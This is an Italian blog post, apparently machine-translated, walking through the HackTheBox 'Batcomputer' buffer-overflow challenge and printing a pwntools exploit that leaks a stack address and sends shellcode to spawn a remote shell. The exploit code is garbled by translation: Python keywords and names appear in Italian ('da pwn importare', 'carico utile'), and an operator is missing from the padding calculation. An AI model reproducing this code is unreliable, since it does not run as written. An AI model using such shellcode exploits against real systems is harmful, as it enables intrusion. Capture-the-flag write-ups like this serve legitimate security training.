Abbiamo coperto uno scenario di buffer overflow in cui una variabile veniva dichiarata come intero senza segno e quindi trasmessa alla funzione ulong. Ciò ci consente di inviare "-1" come input a questa variabile che reindirizza il flusso di esecuzione del programma in un'istruzione if che contiene uno snippet in cui una variabile del nome con 96 byte accetta un input senza restrizioni dall'utente che ha provocato un errore di segmentazione. Abbiamo calcolato l'offset utilizzando pwndbg con Python e creato l'exploit finale. Questo faceva parte di HackTheBox Batcomputer | Introduzione allo sfruttamento binario

Note sulle tecniche di buffer overflow

Il codice dell'exploit è riportato di seguito

##Binzio

da pwn importare *

contesto.binario = ELFO('./batcomputer')

con = a distanza(‘157.245.39.76’,31662)

con.sendline(‘1’)

con.recvuntil('0x')

stack_base = int((“0x”+con.recv().decodificare('latino-1').diviso()[0]),16)

tronco d'albero.successo(F'base dello stack: {esadecimale(stack_base)})

con.sendline(‘2’)

con.sendline('b4tp@$$w0rd!')

carico utile = asm(shellcraft.popad() + shellcraft.sh()) Codice shell #

carico utile += B'UN'*(84 len(carico utile)) # no

carico utile += p64(stack_base) Base impilabile #

con.sendline(carico utile)

con.sendline(‘3’)

con.interattivo()

##Fine

Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli